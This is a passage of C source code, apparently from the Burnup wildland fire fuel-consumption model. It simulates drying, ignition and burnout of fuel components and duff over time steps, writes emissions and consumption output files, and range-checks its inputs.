Herb,Shr,Fol,Bra * Ret: 1 - OK * 2 - burnup can't ignite * 0 - Error, the message is in the object {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int BRN_Run (char cr_LoadFN[], char cr_EmisFN[], float f_DufConPerCent, float f_ConHSFB_TPA, char cr_ErrMes[]) { int i, i_Ret; long nruns = 0; long now; double fimin = 0.1; double d_Time, d_DFI, d_tdf, d_1FI; double d_ConWooLit,d_pcSmoCon; double d_DufCon, d_Duf_Tot, d_Duf_Sec; double d_HSFB_KiSq; strcpy (cr_ErrMes,""); SGV_Init (); /* Init table, for Smoke saving */ d_HSFB_KiSq = (double) TPA_To_KiSq (f_ConHSFB_TPA); i_Ret = 1; ES_Init (&s_ES); /* Init Emission Sturct */ if ( !EFM_Open (cr_EmisFN) ) { /* Open Emiss File if have nam */ strcpy (cr_ErrMes,"Can't Open Output Time Step Emissions File"); i_Ret = 0 ; /* return value */ goto X; } /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.- */ if ( ntimes == 0 || number == 0) { strcpy (cr_ErrMes, "ntimes == 0 || number == 0"); i_Ret = 0; goto X; } Arrays(); /* set loads and input vars */ now = 1; d_Time = ti; /* residual time ignition pulse */ DuffBurn (wdf,dfm,&d_DFI,&d_tdf,f_DufConPerCent,&d_Duf_Sec); d_Duf_Tot = d_Duf_Sec * d_tdf; /* Tot Duff Starting with */ /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ /* Do the First Time step - 60 Seconds */ i = Start(d_Time,now,&nruns,&d_ConWooLit); if ( i !=0 ) { i_Ret = 2; /* burnup can't ignite */ goto X; } fi = FireIntensity(&d_pcSmoCon); /* get Fire Intensity */ d_DufCon = Duff_CPTS (&d_Duf_Tot, /* duff that burn this time step*/ d_Duf_Sec, 60.0); d_1FI = BRN_Intensity(f_ConHSFB_TPA) + fi;/* Add Fire Int, Herb,Shr,Fol,Br*/ ES_Calc (&s_ES,d_ConWooLit, /* calc Emissions */ d_DufCon, d_HSFB_KiSq, d_pcSmoCon,d_Time); EFM_Write (&s_ES,d_Time,d_1FI); /* put a line to Emission File */ BOV_Set_TimHea(d_Time,d_1FI); /* Save for doing Soil Exp Heat */ Save_SGV (&s_ES,d_Time,d_1FI); /* Save stuff needed to graph */ if ( d_Time > d_tdf) /* if past time that duff will */ d_DFI = 0; /* burnout */ /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ /* Do Time Steps - 15 seconds each */ while ( now <= ntimes) { /* Max times steps to do */ Step(dt,d_Time,d_DFI,&nruns,&d_ConWooLit);/* Do the time step */ now++; /* count time steps */ d_Time += dt; /* increment time - seconds */ if ( d_Time > d_tdf) /* if past time that duff will */ d_DFI = 0; /* burnout */ fi = FireIntensity(&d_pcSmoCon); /* Get the Fire Intensity */ d_DufCon = Duff_CPTS (&d_Duf_Tot, /* duff that burn this time step*/ d_Duf_Sec, 15.0); ES_Calc (&s_ES, d_ConWooLit,d_DufCon, /* Calc the emissions */ 0.0, d_pcSmoCon,d_Time); EFM_Write (&s_ES,d_Time,fi); /* put a line to Emission File */ BOV_Set_TimHea(d_Time,fi); /* Save for doing Soil Exp Heat */ Save_SGV (&s_ES, d_Time,fi); /* Save stuff needed to graph */ if ( fi <= fimin) { /* fire go - from Intensity */ if ( d_Duf_Tot != 0 ) /* Duff remains Smoldering */ continue; /* Duf tot keeps getting usd up */ break; } } i = Summary(cr_LoadFN,cr_ErrMes); /* Do the Consmd Amts file */ if ( i == 0 ) { /* error opening output file */ i_Ret = 0; goto X; } X: EFM_Close (); return i_Ret ; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: Start * Desc: Initialize time varying quantities and set up work( k ) * The diameter reduction rate of fuel component k is given * by the product of the rate of heat transfer to it, per * unit surface area, and the quantity work( k ) {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int Start(double dt, long now, long *ncalls, double *ad_Con) { long k, l, kl, nlit; double delm, heatk, r, tf, ts, thd, tx, factor; double conwet, dia, hb, en, cpwet, fac; double hf, dryt, tsd, c, tigk, e, dtign, trt; double aint, ddt, dnext, wnext, df; const double rindef=1.e+30; *ad_Con = 0; gd_Fudge1 = 0; gd_Fudge2 = 0; for ( k = 1; k <= number; k++) { /* do k = 1 , number */ fout[k-1] = 0.0; flit[k-1] = 0.0; alfa[k-1] = condry[k-1] / (dendry[k-1] * cheat[k-1]); /* effect of moisture content on burning rate (scale factor) */ delm=1.67* fmois[k-1]; /* effect of component mass density (empirical) */ heatk=dendry[k-1] / 446.0; /* empirical burn rate factor, J / cu m - K */ heatk=heatk*2.01e+06*(1.0+delm); /* normalize out driving temperature difference (Tfire - Tchar) */ /* to average value of lab experiments used to find above constants */ work[k-1] = 1.0 / (255.0 * heatk); for ( l = 0; l <= k; l++) { /* do l = 0 , k */ kl = loc(k,l); tout[kl] = rindef; tign[kl] = rindef; tdry[kl] = rindef; tcum[kl] = 0.0; qcum[kl] = 0.0; } } /* end for k */ /* Make first estimate of drying start times for all components */ /* These times are usually brief and make little or no difference */ r =r0 + 0.25 * dr; tf = TempF(fi, r); ts = tamb; if ( tf <= (tpdry + 10.0)) { return 1; } /* stop' Igniting fire cannot dry fuel' */ thd = (tpdry - ts) / (tf - ts); tx = 0.5 * (ts + tpdry); for ( k = 1; k <= number; k++) { /* do k = 1 , number */ factor = dendry[k-1]*fmois[k-1]; conwet = condry[k-1]+4.27e-04*factor; for ( l = 0; l <= k; l++) { kl = loc(k, l); dia = diam[kl]; HeatExchange (dia, tf, tx, &hf, &hb, conwet, &en); dryt = DryTime(en, thd); cpwet = cheat[k-1]+fmois[k-1]*ch2o; fac = pow2(0.5*dia)/conwet; fac = fac * dendry[k-1] * cpwet; dryt = fac * dryt; tdry[kl] = dryt; } } /* Next , determine which components are alight in spreading fire */ tsd=tpdry; for ( k = 1; k <= number; k++) { /* do k = 1 , number */ c = condry[k-1]; tigk=tpig[k-1]; for ( l = 0; l <= k; l++) { /* do l = 0 , k */ kl = loc(k, l); dryt = tdry[kl]; if (dryt >= dt) continue; dia = diam[kl]; ts = 0.5 * (tsd + tigk); HeatExchange (dia, tf, ts, &hf, &hb, c, &e); tcum[kl] = Max ((tf-ts)*(dt-dryt), 0.0); qcum[kl] = hb * tcum[kl]; if ( tf <= (tigk + 10.0)) continue; dtign = TIgnite (tpdry, tpig[k-1], tf, condry[k-1], cheat[k-1], fmois[k-1], dendry[k-1], hb); trt = dryt + dtign; tign[kl] = 0.5 * trt; if ( dt > trt ) flit[k-1] += xmat[kl]; } } nlit = 0; trt = rindef; /* Determine minimum ignition time and verify ignition exists */ for ( k = 1; k <= number; k++) { /* do k = 1 , number */ if ( flit[k-1] > 0.0) nlit += 1; for ( l = 0; l <= k; l++) { /* do l = 0 , k */ kl = loc(k, l); trt = Min(trt, tign[kl]); } } if ( nlit == 0) return 2; /* stop' START ignites no fuel' */ /* Deduct trt from all time estimates , resetting time origin */ for ( k = 1; k <= number; k++) { /* do k = 1 , number */ for ( l = 0; l <= k; l++) { /* do l = 0 , k */ kl = loc(k, l); if ( tdry[kl] < rindef) tdry[kl] -= trt; if ( tign[kl] < rindef) tign[kl] -= trt; } } /* Now go through all component pairs and establish burning rates */ /* for all the components that are ignited; extrapolate to end time dt */ for ( k = 1; k <= number; k++) { /* do k = 1 , number */ if ( flit[k-1] == 0.0) { for ( l = 0; l <= k; l++) { /* do l = 0 , k */ kl = loc(k, l); ddot[kl] = 0.0; tout[kl] = rindef; wodot[kl] = 0.0; } } else { ts = tchar[k-1]; c = condry[k-1]; for ( l = 0; l <= k; l++) { /* do l = 0 , k */ kl = loc (k, l); dia = diam[kl]; HeatExchange (dia, tf, ts, &hf, &hb, c, &e); qdot[kl][now-1] = hb * Max((tf-ts), 0.0); aint = pow2 (c/hb); ddt = dt - tign[kl]; acum[kl] = aint * ddt; ddot[kl] = qdot[kl][now-1] * work[k-1]; tout[kl] = dia / ddot[kl]; dnext = Max(0.0, (dia - ddt * ddot[kl])); wnext = wo[kl] * pow2(dnext / dia); wodot[kl] = ( wo[kl] - wnext) / ddt; diam[kl] = dnext; *ad_Con += Get_Cons (wo[kl], wnext); /* Accum Tot consumd */ wo[kl] = wnext; df = 0.0; if ( dnext <= 0.0 ) { df = xmat[kl]; if ( kl == 0 ) gd_Fudge1 = wodot[kl]; /* Save these for FireIntensity */ else /* function to use */ gd_Fudge2 = wodot[kl]; wodot[kl] = 0.0; ddot[kl] = 0.0; } flit[k-1] -= df; fout[k-1] += df; } } } *ncalls = 0; return 0; } /*---------------------------------------------------------------------------- // // Step // //---------------------------------------------------------------------------- // subroutine STEP( dt , MXSTEP , now , maxno , number , wo , alfa , // + dendry , fmois , cheat , condry , diam , tpig , // + tchar , xmat , tambb , tpdry , fi , flit , fout , // + tdry , tign , tout , qcum , tcum , acum , qdot , // + ddot , wodot , work , u , d , r0 , dr , ch2o , // + ncalls , maxkl , tin , fint , fid ) // // Updates status of all fuel component pairs and returns a snapshot // // Input parameters: // // tin = start of current time step // dt = time step , sec // MXSTEP = max dimension of historical sequences // now = index marks end of time step // maxno = max number of fuel components // number = actual number of fuel components // wo = current ovendry loading for the larger of // each component pair, kg / sq m // alfa = dry thermal diffusivity of component , sq m / s // dendry = ovendry density of component , kg / cu m // fmois = moisture fraction of component // cheat = specific heat capacity of component , J / kg K // condry = ovendry thermal conductivity , w / sq m K // diam = current diameter of the larger of each // fuel component pair , m // tpig = ignition temperature ( K ) , by component // tchar = end - pyrolysis temperature ( K ) , by component // xmat = table of influence fractions between components // tambb = ambient temperature ( K ) // tpdry = temperature ( all components ) start drying ( K ) // fi = current fire intensity ( site avg ) , kW / sq m // work( k ) = factor of heat transfer rate hbar * (Tfire - Tchar) // that yields ddot( k ) // fint( k ) = correction to fi to compute local intensity // that may be different due to k burning // fid = fire intensity due to duff burning ... this is // used to up the fire intensity for fuel pieces // that are burning without interacting with others // plus the following constants and bookkeeping parameters // u , d , r0 , dr , ch20 , ncalls , maxkl // // Parameters updated [input and output] // // ncalls = counter of calls to this routine ... // = 0 on first call or reset // cumulates after first call // flit = fraction of each component currently alight // fout = fraction of each component currently gone out // tdry = time of drying start of the larger of each // fuel component pair // tign = ignition time for the larger of each // fuel component pair // tout = burnout time of larger component of pairs // qcum = cumulative heat input to larger of pair , J / sq m // tcum = cumulative temp integral for qcum ( drying ) // acum = heat pulse area for historical rate averaging // qdot = history ( post ignite ) of heat transfer rate // to the larger of component pair , W / sq m // ddot = diameter reduction rate , larger of pair , m / s // wodot = dry loading loss rate for larger of pair // // Constant parameters // // u = mean horizontal windspeed at top of fuelbed // d = fuelbed depth // r0 = minimum value of mixing parameter // dr = max - min value of mixing parameter // ch2o = specific heat capacity of water , J / kg K // hvap = heat of vaporization of water , J / kg */ /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ void Step(double dt, double tin, double fid, long *ncalls, double *ad_Con) { int nspan; long k, l, kl, now, mu, index; double c, rindef=1.e+30; double tnext, tnow, tgo, tdun, tifi; double aint, tav1, tav2, tav3, tavg; double qdavg, qdsum, tspan, deltim; double tlit, ts, r, gi, tf, dia, hf, hb; double e, qqq, tst, dnext, wnext, rate, ddt, dryt, dtemp, dqdt; double dteff, heff, tfe, dtlite, qd, delt, factor; double conwet, dtcum, he, dtef, thd, biot, cpwet, fac; bool flag; *ad_Con = 0; *ncalls += 1; now = *ncalls; tnow = tin; tnext = tnow + dt; /* tifi = time when fire ignition phase ended ( at now = 1 ) */ tifi = tnow-((double)(now-1))*dt; for (k = 1; k <= number; k++) { c = condry[k-1]; for ( l = 0; l <= k; l++) { kl = loc(k, l); tdun = tout[kl]; if ( tnow >= tdun) { /* See if k of ( k , l ) pair burned out */ ddot[kl] = 0.0; wodot[kl] = 0.0; continue; } /* goto 10 */ if ( tnext >= tdun ) { tgo = tdun - tnow; ddot[kl] = diam[kl] / tgo; wodot[kl] = wo[kl] / tgo; *ad_Con += Get_Cons (wo[kl],0.0); wo[kl] = 0.0; diam[kl] = 0.0; continue; } /* k has not yet burned out ... see if k of ( k , l ) pair is ignited */ tlit = tign[kl]; if ( tnow >= tlit ) { ts = tchar[k-1]; if ( l == 0 ) { r = r0 + 0.5 * dr; gi = fi + fid; } else if ( l == k ) { r = r0 + 0.5 * (1.0 + flit[k-1]) * dr; gi = fi + flit[k-1] * fint[k-1]; } else { /* (l!=0 && l!=k) */ r = r0 + 0.5 * (1.0 + flit[l-1]) * dr; gi = fi + fint[k-1] + flit[l-1] * fint[l-1]; } tf = TempF(gi, r); dia = diam[kl]; HeatExchange (dia, tf, ts, &hf, &hb, c, &e); qqq = hb * Max(tf-ts, 0.0); tst = Max(tlit, tifi); nspan = Max(1, Nint((tnext-tst)/dt)); /* nint((tnext-tst)/dt)); */ if ( nspan <= MXSTEP) qdot[kl][nspan-1]=qqq; else if ( nspan > MXSTEP) { for ( mu = 2; mu <= MXSTEP; mu++) /* do mu = 2 , MXSTEP */ qdot[kl][mu-2]=qdot[kl][mu-1]; qdot[kl][MXSTEP-1]=qqq; } aint = pow2(c/hb); acum[kl] += (aint * dt); tav1 = tnext-tlit; tav2 = acum[kl] / alfa[k-1]; tav3 = pow2(dia/4.0) / alfa[k-1]; tavg = tav1; if (tav2 < tavg) tavg = tav2; if ( tav3 < tavg) tavg = tav3; index = Min(nspan, MXSTEP); /* index = 1+min(nspan, MXSTEP); */ qdsum = 0.0; tspan = 0.0; deltim = dt; do { index-=1; if ( index == 0 ) /* ==1 */ deltim =tnext-tspan-tlit; if (( tspan + deltim) >= tavg) deltim = tavg - tspan; qdsum += (qdot[kl][index] * deltim); tspan += deltim; if (tspan >= tavg) break; } while(index>0); qdavg = Max(qdsum / tspan, 0.0); ddot[kl] = qdavg * work[k-1]; dnext = Max(0.0, dia-dt * ddot[kl]); wnext = wo[kl] * pow2(dnext/dia); if (( dnext == 0.0) && ( ddot[kl] > 0.0)) tout[kl] = tnow + dia / ddot[kl]; else if (( dnext > 0.0) && ( dnext < dia)) { rate = dia / ( dia - dnext); tout[kl] = tnow + rate * dt; } if ( qdavg <= (double) MXSTEP) /* <=20.0 in Albini's code */ tout[kl] = 0.5 * (tnow+tnext); ddt = Min(dt, (tout[kl]-tnow)); wodot[kl] = (wo[kl] - wnext) / ddt; diam[kl] = dnext; *ad_Con += Get_Cons (wo[kl],wnext); wo[kl] = wnext; continue; } /* See if k of ( k , l ) has reached outer surface drying stage yet */ dryt = tdry[kl]; if ( tnow >= dryt && tnow<tlit) { if ( l == 0 ) { r = r0; gi = fi + fid; } else if ( l == k ) { r = r0; gi = fi; } else { /* if(l!=0 && l!=k) */ r = r0+0.5 * flit[l-1] * dr; gi = fi + flit[l-1] * fint[l-1]; } tf = TempF(gi, r); ts = tamb; dia = diam[kl]; HeatExchange(dia, tf, ts, &hf, &hb, c, &e); /* call heatx( u , d , dia , tf , ts , hf , hb , c , e ) */ dtemp = Max(0.0, tf-ts); dqdt = hb * dtemp; qcum[kl] += (dqdt * dt); tcum[kl] += (dtemp * dt); dteff = tcum[kl] / (tnext-dryt); heff = qcum[kl] / tcum[kl]; tfe = ts + dteff; dtlite = rindef; if ( tfe > (tpig[k-1] + 10.0)) dtlite = TIgnite(tpdry,tpig[k-1],tfe,condry[k-1],cheat[k-1],fmois[k-1], dendry[k-1], heff); tign[kl] = 0.5 * (dryt + dtlite); /* If k will ignite before time step over , must interpolate */ if ( tnext > tign[kl]){ ts = tchar[k-1]; HeatExchange(dia, tf, ts, &hf, &hb, c, &e); qdot[kl][0] = hb * Max(tf-ts, 0.0); qd = qdot[kl][0]; ddot[kl] = qd * work[k-1]; delt = tnext - tign[kl]; dnext = Max(0.0, dia-delt*ddot[kl]); wnext = wo[kl] * pow2(dnext/dia); if ( dnext == 0.0) tout[kl] = tnow+dia / ddot[kl]; else if ((dnext>0.0) && dnext < dia) { rate = dia / (dia-dnext); tout[kl] = tnow + rate * dt; } if ( tout[kl] > tnow) { ddt = Min(dt, (tout[kl]-tnow)); wodot[kl] = (wo[kl] - wnext) / ddt; } else wodot[kl] = 0.0; diam[kl] = dnext; *ad_Con += Get_Cons (wo[kl],wnext); wo[kl] = wnext; } continue; } /* end if */ /* If k of ( k , l ) still coming up to drying temperature , accumulate */ /* heat input and driving temperature difference , predict drying start */ if ( tnow < dryt) { factor = fmois[k-1] * dendry[k-1]; conwet = condry[k-1]+4.27e-04*factor; if ( l == 0 ) { r = r0; gi = fi + fid; } else if ( l == k) { r = r0; gi = fi; } else if (( l != 0) && ( l != k )) { r = r0+0.5 * flit[l-1] * dr; gi = fi + flit[l-1] * fint[l-1]; } tf = TempF(gi, r); if ( tf <= (tpdry + 10.0)) continue; /* goto 10 */ dia = diam[kl]; ts = 0.5 * (tamb + tpdry); HeatExchange(dia, tf, ts, &hf, &hb, c, &e); dtcum = Max((tf-ts)*dt, 0.0); tcum[kl] += dtcum; qcum[kl] += ( hb * dtcum); he = qcum[kl] / tcum[kl]; dtef = tcum[kl] / tnext; thd = (tpdry - tamb) / dtef; if ( thd > 0.9) continue; biot = he * dia / conwet; dryt = DryTime(biot, thd); cpwet = cheat[k-1] + ch2o * fmois[k-1]; fac = pow2(0.5 * dia) / conwet; fac = fac * cpwet * dendry[k-1]; tdry[kl] = fac * dryt; if (tdry[kl] < tnext) { ts = tpdry; HeatExchange(dia, tf, ts, &hf, &hb, c, &e); dqdt = hb * (tf-ts); delt = tnext-tdry[kl]; qcum[kl] = dqdt * delt; tcum[kl] = (tf-ts) * delt; /* tbar not used anywhere tbar=0.5*(tpdry+tpig[k-1]); */ /* See if ignition to occur before time step complete */ if ( tf <= (tpig[k-1] + 10.0)) continue; dtlite = TIgnite (tpdry,tpig[k-1],tf,condry[k-1],cheat[k-1], fmois[k-1], dendry[k-1], hb); tign[kl] = 0.5 * (tdry[kl] + dtlite); if ( tnext > tign[kl]) { ts = tchar[k-1]; qdot[kl][0] = hb * Max(tf-ts, 0.0); } } } } /* end for l */ } /* end for k */ /* Update fractions ignited and burned out , to apply at next step start */ for ( k = 1; k <= number; k++) { flit[k-1] = 0.0; fout[k-1] = 0.0; for ( l = 0; l <= k; l++ ) { kl = loc(k, l); if ( tnext >= tign[kl]) flag = true; else flag = false; if ( flag && tnext <= tout[kl]) flit[k-1] += xmat[kl]; if (tnext > tout[kl]) fout[k-1] += xmat[kl]; } } } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: Summary * Desc: Creates the output * This is where I get Remaining Load amounts * In: cr_LoadFN...file name, if null string then no file is created * Ret: 1 OK * 0 Error opening output file {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int Summary (char cr_LoadFN[],char cr_ErrMes[]) { long m, n, mn; double ti, ts, to, tf, wd, rem; FILE *outfile; if ( strcmp ( cr_LoadFN,"" )) { outfile = fopen(cr_LoadFN, "w"); if ( outfile == NULL ) { strcpy (cr_ErrMes, "Can't open Burnup output consumed file."); return 0; } } if ( strcmp ( cr_LoadFN,"" )) { fprintf(outfile, "Column 1: Fuel component\n"); fprintf(outfile, " 2: Preburn fuel load, kg/msq\n"); fprintf(outfile, " 3: Moisture content, fraction\n"); fprintf(outfile, " 4: Sigma, surface area to volume ratio\n"); fprintf(outfile, " 5: Time till ignition\n"); fprintf(outfile, " 6: Time till burnout\n"); fprintf(outfile, " 7: Postburn fuel load, kg/msq\n\n"); } for( m = 1; m <= number; m++) { if ( strcmp ( cr_LoadFN,"" )) fprintf(outfile, "%5ld %8.2lf %6.2lf %8.2lf", m, wdry[m-1], fmois[m-1], 4.0/sigma[m-1]); rem = 0.0; ts = 1.0e31; tf = 0.0; for ( n = 0; n <= m; n++) { mn = loc(m, n); ti = tign[mn]; ts = Min(ti, ts); to = tout[mn]; tf = Max(to, tf); wd = wo[mn]; rem = rem + wd; } if ( strcmp ( cr_LoadFN,"" )) fprintf(outfile, " %15.5lf %15.5lf %11.5lf\n", ts, tf, rem); BOV_PutRemAmt (rem, m, tf); /* Send out Remaining Load Amounts */ } if ( strcmp ( cr_LoadFN,"" )) fclose(outfile); return 1; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: BRN_Init * Desc: Init all variables need to run Burnup {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ void BRN_Init () { long i; ntimes = 0; number = 0; fi = 0.0; ti = 0.0; u = 0.0; d = 0.0; tamb = 0.0; ak = 0.0; r0 = 0.0; dr = 0.0; dt = 0.0; wdf = 0.0; dfm = 2.0; for( i = 0; i < MAXNO; i++) { wdry[i] = 0.0; ash[i] = 0.0; htval[i] = 0.0; fmois[i] = 0.0; dendry[i] = 0.0; sigma[i] = 0.0; cheat[i] = 0.0; condry[i] = 0.0; alfa[i] = 0.0; tpig[i] = 0.0; tchar[i] = 0.0; flit[i] = 0.0; fout[i] = 0.0; work[i] = 0.0; alone[i] = 0.0; area[i] = 0.0; fint[i] = 0.0; } } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: CheckData * Desc: Check inputs before running burnup {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int BRN_CheckData (char cr_ErrMes[]) { long i; const double cht1 = e_cht1, cht2 = e_cht2; const double tch1 = e_tch1, tch2 = e_tch2 + e_tchar_adj; const double tig1 = e_tig1, tig2 = e_tig2 + e_tpig_adj; const double ash1 = 0.0001, ash2 = 0.1; const double htv1 = 1.0e07, htv2 = 3.0e7; const double den1 = 200.0, den2 = 1000.0; const double sig1 = 4.0, sig2 = 1.0e4; const double con1 = 0.025, con2 = 0.25; const double fir1 = 40.0, fir2 = 1.0e5; const double ti1 = 10.0, ti2 = 200.0; const double u1 = 0.0, u2 = 5.0; const double d1 = 0.1, d2 = 5.0; const double tam1 = -40.0, tam2 = 40.0; char cr[200]; strcpy (cr_ErrMes,""); if ( ntimes <= 0 ) { sprintf(cr_ErrMes, "Burnup: Number of iterations invalid, %d, must be > 0",ntimes); return false; } for (i = 0; i < number; i++) { if ( wdry[i] <= e_small || wdry[i] >= e_big) { sprintf (cr_ErrMes, "Burnup: dry loading out of range (kg/m2): %8.2f, Low:%8.2f Up:%8.2f",wdry[i],e_small, e_big); return false; } if ( ash[i]<=ash1 || ash[i]>=ash2) { sprintf (cr_ErrMes, "Burnup: ash content out of range (fraction): %8.2f, Low:%8.2f Up:%8.2f", ash[i], ash1, ash2); return false; } if ( htval[i] <= htv1 || htval[i] >= htv2) { sprintf (cr_ErrMes, "Burnup: heat content out of range (J/kg): %8.2f, Low:%8.2f Up:%8.2f", htval[i], htv1, htv2); return false;} if ( !_ChkLimM(fmois[i], e_fms1, e_fms2) ) { sprintf (cr_ErrMes, "Burnup: fuel moisture out of range (fraction): %6.2f, (Limits:%6.2f ->%6.2f)",fmois[i],e_fms1,e_fms2); return false; } if ( dendry[i]<=den1 || dendry[i]>=den2) { sprintf (cr_ErrMes, "Burnup: dry mass density out of range (kg/m3): %8.2f, Low:%8.2f Up:%8.2f",dendry[i],den1,den2); return false; } if ( sigma[i]<=sig1 || sigma[i]>=sig2) { sprintf (cr_ErrMes, "Burnup: sigma out of range (1/m): %8.2f, Low:%8.2f Up:%8.2f",sigma[i],sig1,sig2); return false; } if ( cheat[i]<=cht1 || cheat[i]>=cht2) { sprintf (cr_ErrMes, "Burnup: heat capacity out of range (J/kg/K: %8.2f, Low:%8.2f Up:%8.2f",cheat[i], cht1, cht2); return false; } if ( condry[i]<=con1 || condry[i]>=con2) { sprintf (cr_ErrMes, "Burnup: thermal conductivity out of range (W/m/K): %8.2f, Low:%8.2f Up:%8.2f",condry[i],con1,con2); return false; } if ( tpig[i]<=tig1 || tpig[i]>=tig2) { sprintf (cr_ErrMes, "Burnup: ignition temperature out of range (C): %8.2f, Low:%8.2f Up:%8.2f",tpig[i],tig1,tig2); return false; } if ( tchar[i] <=tch1 || tchar[i]>=tch2) { sprintf (cr_ErrMes, "Burnup: char end pyrolisis temperature out of range (C): %8.2f, Low:%8.2f Up:%8.2f",tchar[i],tch1,tch2); return false; } } if ( fi < fir1 || fi > fir2) strcpy(cr_ErrMes, "Burnup: igniting fire intensity out of range (kW/m2)"); else if ( ti < ti1 || ti > ti2 ) strcpy(cr_ErrMes, "Burnup: igniting surface fire res. time out of range (s)"); else if ( u < u1 || u > u2) strcpy(cr_ErrMes, " windspeed at top of fuelbed out of range (m/s)"); else if ( d < d1 || d > d2) { strcpy(cr_ErrMes, "Burnup: depth of fuel bed out of range (m)\n"); sprintf ( cr, "Depth: %8.2f, Limit Low:%8.2f, High:%8.2f\n", d, d1, d2); strcat (cr_ErrMes, cr); } else if ( tamb-273 < tam1 || tamb-273 > tam2) strcpy(cr_ErrMes, "Burnup: ambient temperature out of range (C)"); else if ( ( wdf < e_wdf1 || wdf > e_wdf2) && ( wdf != 0 ) ) sprintf(cr_ErrMes, "Burnup: duff dry weight loading, %6.2f is out of range (kg/m2), Limit: %6.2f -> %6.2f", wdf,e_wdf1,e_wdf2); else if ( dfm < e_dfm1 || dfm > e_dfm2) strcpy(cr_ErrMes, "Burnup: duff moisture out of range (fraction)"); if ( strlen(cr_ErrMes) > 0) return false; return true; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: _ChkLimM * Desc: Check a value against lower and upper limits. * NOTE: I was having a problem with floating point percission with * the lower moisture limit, 0.01 was being stored as 0.0099999999... * causing an error when comparing the lower limit * In: d value to compare, low and hi limits * Ret: 1 ok, 0 out of limits {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ int _ChkLimM (double d, double low, double hi) { int D,LOW,HI; float f; f = (d * 100.0); /* Had to do it like this, It was */ D = (int) f; /* losing the decimal digits */ f = (low * 100.0); LOW = (int) f; f = (hi * 100.0); HI = (int) f; if ( D < LOW || D > HI ) return 0; return 1; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: BRN_SetFireDat * Desc: Set some of the Fire Input data that are need in place before running * burnup. * The number of iterations is checked here * Note: Also see BRN_CheckData() {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ void BRN_SetFireDat(long NumIter, double Fi, double Ti, double U, double D, double Tamb, double R0, double Dr, double Dt, double Wdf, double Dfm) { ntimes = NumIter; fi=Fi; ti=Ti; u=U; d=D; tamb=Tamb+273.0; r0=R0; dr=Dr; dt=Dt; wdf=Wdf; dfm=Dfm; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: * Desc: * {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ long loc(long k, long l) { return k*(k+1.0)/2.0+l-1; } /*{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*} * Name: * Desc: * {*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}{*}*/ long Nint(double input) { long Input; Input = (long) input; if (input - (double)Input >= 0.5) Input += 1; return Input; } /*--------------------------------------------------------------------------*/ /* */ /* Tignit */ /* */ /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ double ff(double x, double tpfi, double tpig) { const double a03=-1.3371565; const double a13=0.4653628; const double a23=-0.1282064; double b03; b03 = a03 * (tpfi - tpig) / (tpfi - tamb); return b03+x*(a13+x*(a23+x)); } /*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.*/ /* subroutine TIGNIT( tpam , tpdr , tpig , tpfi , cond , // + chtd , fmof , dend , hbar , tmig ) //c tpam = ambient temperature , K //c tpdr = fuel temperature at start of drying , K //c tpig = fuel surface temperature at ignition , K //c tpfi = fire environment temperature , K //c cond = fuel ovendry thermal conductivity , W / m K //c chtd = fuel ovendry specific heat capacity , J / kg K //c fmof = fuel moisture content , fraction dry weight //c dend = fuel ovendry density , kg / cu m //c hbar = effective film heat transfer coefficient [< HEATX] W / sq m K 